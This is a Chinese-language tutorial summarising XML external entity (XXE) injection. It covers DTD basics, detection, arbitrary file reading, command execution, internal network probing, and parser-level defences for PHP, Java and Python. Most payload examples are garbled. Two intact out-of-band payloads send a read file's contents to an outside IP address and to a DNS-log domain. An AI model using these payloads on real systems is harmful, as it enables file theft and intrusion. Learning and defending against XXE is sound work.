XML实体注入漏洞的总结。
xml基础知识
http://www.w3school.com.cn/xml/index.asp
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称。
DTD声明:
实体定义:
%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
外部实体支持的类型
xml实体注入产生原理
xml实体注入是DTD引用外部实体导致的漏洞
检测漏洞
判断xml能否解析
1 | "1.0" encoding="UTF-8" xml version= |
判断是否支持外部调用
1 | "1.0" encoding="UTF-8" xml version= |
读取任意文件
有回显状态下
1 | "1.0" encoding="utf-8" xml version= |
在网站的正常发送的xml前面加上一个DTD实体的声明,然后在某个标签内调用。
无回显的状态下
1 | "1.0" encoding="utf-8" xml version= |
1.xml的内容为:
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://47.95.206.199/xxe.php?file=%file;'>"> %payload; |
PS:配合dnslog会更好用
payload和上面一样。
1 | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://%file;.t00ls.3e426ecf5c48221e002db4ae061cc4bc.tu4.org'>"> %payload; |
执行命令
1 | "1.0" encoding="utf-8" xml version= |
要求PHP支持expect拓展,好像默认是没开的。
内网探测
探测内网服务器端口
1 | "1.0" encoding="utf-8" xml version= |
攻击内网机器
1 | "1.0" encoding="utf-8" xml version= |
XXE的防御方法
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。